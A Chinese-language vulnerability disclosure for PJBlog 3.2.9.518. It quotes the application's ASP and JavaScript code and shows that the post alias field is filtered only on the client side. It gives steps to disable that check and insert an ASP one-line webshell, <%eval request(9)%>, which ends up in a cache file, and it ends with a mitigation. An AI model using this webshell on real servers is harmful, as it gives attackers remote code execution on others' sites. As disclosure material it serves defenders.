PJBlog 3.2.9.518　getwebshell 漏洞

版本：PJblog 3.2.9.518（2012/5/9日时为最新版本）

漏洞利用条件：

1、使用全静态模式（默认情况是全静态模式）

2、用户可以发帖（默认普通用户不能发帖，所以有点鸡肋）

漏洞描述：PJblog 3.2.9.518使用js过滤特殊字符，在使用全静态模式下，普通用户发帖即可插入asp一句话木马。

PJblog 3.2.9.518的安全还是非常不错，密码采用了sha1(pass+salt)方式，salt为6位，在这样的情况下，对注入还是非常有效，即使拿到密码也很难破解。

class/cls_logAction.asp部分代码如下：

<%

Class logArticle

………………省略………………

outIndex = outIndex & "[""A"";"&AListC&";("&clearT(AList)&")] " & Chr(13)

outIndex = outIndex & "[""G"";"&GListC&";("&clearT(GList)&")] " & Chr(13)

Dim CateKeys, CateItems, CateHKeys, CateHItems

CateKeys = CateDic.Keys

CateItems = CateDic.Items

CateHKeys = CateHDic.Keys

CateHItems = CateHDic.Items

For i = 0 To CateDic.Count -1

outIndex = outIndex & "["""&CateKeys(i)&""";"&CateHItems(i)&";("&clearT(CateItems(i))&")] " & Chr(13)

Next

SaveList = SaveToFile(outIndex, "cache/listCache.asp")

%>

SaveToFile函数是将outIndex内容写入到cache/listCache.asp中。

blogpost.asp中调用了 logArticle，部分代码如下：

<%

……………………

Set lArticle = New logArticle

lArticle.categoryID = request.Form("log_CateID")

lArticle.logTitle = request.Form("title")

lArticle.logAuthor = memName

lArticle.logEditType = request.Form("log_editType")

lArticle.logIntroCustom = request.Form("log_IntroC")

lArticle.logIntro = request.Form("log_Intro")

lArticle.logWeather = request.Form("log_weather")

lArticle.logLevel = request.Form("log_Level")

lArticle.logCommentOrder = request.Form("log_comorder")

lArticle.logDisableComment = request.Form("log_DisComment")

lArticle.logIsShow = IsShow

lArticle.logIsTop = request.Form("log_IsTop")

lArticle.logIsDraft = request.Form("log_IsDraft")

lArticle.logFrom = request.Form("log_From")

lArticle.logFromURL = request.Form("log_FromURL")

lArticle.logDisableImage = request.Form("log_disImg")

lArticle.logDisableSmile = request.Form("log_DisSM")

lArticle.logDisableURL = request.Form("log_DisURL")

lArticle.logDisableKeyWord = request.Form("log_DisKey")

lArticle.logMessage = request.Form("Message")

lArticle.logTrackback = request.Form("log_Quote")

lArticle.logTags = request.Form("tags")

lArticle.logPubTime = request.Form("PubTime")

lArticle.logPublishTimeType = request.Form("PubTimeType")

If blog_postFile = 2 Then

lArticle.logCname = request.Form("cname")

lArticle.logCtype = request.Form("ctype")

End If

lArticle.logReadpw = pws

lArticle.logPwtips = pwtips

lArticle.logPwtitle = pwtitle

lArticle.logPwcomm = pwcomm

lArticle.logMeta = request.Form("log_Meta")

lArticle.logKeyWords = keyword

lArticle.logDescription = B_description

if request.form("FirstPost") = 1 then

lArticle.isajax = false

lArticle.logIsDraft = false

postLog = lArticle.editLog(request.Form("postbackId"))

else

lArticle.isajax = false

postLog = lArticle.postLog

end if

Set lArticle = Nothing

%>

lArticle.logCname = request.Form(“cname”)，并没有过滤”<%” 和”%>”

漏洞利用方法：

1、用户登陆，发表文章，

2、禁止本地js，必须要使用这步，否则你无法输入’<’和’>’，因为作者已经考虑到安全问题，调用common.js本地过滤，

common/common.js　部份内容如下：

1

//创建文件夹规则 example:

2

//<input onblur="ReplaceInput(this,window.event)" onkeyup="ReplaceInput(this,window.event)" />

3

function ReplaceInput(obj, cevent){

4

var str = ["<", ">", "/", "\\", ":", "*", "?", "|", "\"", /[\u4E00-\u9FA5]/g];

5

if(cevent.keyCode != 37 && cevent.keyCode != 39){

6

//obj.value = obj.value.replace(/[\u4E00-\u9FA5]/g,'');

7

for (var i = 0 ; i < str.length ; i++){

8

obj.value = obj.value.replace(str[i], "");

9

}

10

}

11

}

3、在别名处插入<%eval request(9)%>，提交后，即可在cache/listCache.asp中会写入一句话木马，密码为9

临时解决方案，禁止普通用户发帖。